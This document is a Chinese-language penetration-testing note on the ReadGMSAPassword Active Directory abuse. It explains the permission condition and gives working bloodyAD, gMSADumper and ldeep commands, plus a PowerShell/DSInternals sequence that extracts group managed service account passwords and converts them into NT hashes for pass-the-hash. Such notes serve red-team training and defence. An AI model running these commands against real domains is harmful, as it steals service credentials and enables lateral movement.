5.ReadGMSAPassword

1. 介绍

这种攻击,允许在特定条件下读取组托管服务账户(gMSA)的密码。这种攻击与其他滥用方式略有不同,它可以通过控制一个在目标 gMSA 账户的 msDS-GroupMSAMembership 属性的 DACL(自主访问控制列表)中拥有足够权限的对象来执行。通常,这些拥有权限的对象是明确被允许使用 gMSA 账户的主体。如果满足这些权限要求,攻击者就可以成功读取 gMSA 账户的密码。

2. 利用

2.1. 利用条件

利用此攻击的关键条件是攻击者能够控制一个对象,该对象在目标 gMSA 账户的 msDS-GroupMSAMembership 属性的 DACL(自主访问控制列表) 中具有足够的权限。这意味着攻击者需要具备修改或读取该特定属性的权限。
如:
Pasted image 20250627132645

2.2. 利用工具

2.2.1. bloodyAD

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

Pasted image 20250628160347
执行后即可获取到组托管服务账号的hash

更加智能,会自动列出可以受到攻击的组托管服务账号的hash

gMSADumper.py -u 'user' -p 'password' -d 'domain.local'

Pasted image 20250628160826

2.2.3. ldeep

ldeep ldap -d "$DOMAIN" -s "$DC_IP" -u "$USER" -p "$PASSWORD" gmsa -t $TargetObject

Pasted image 20250628161008

2.3. windows下利用

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword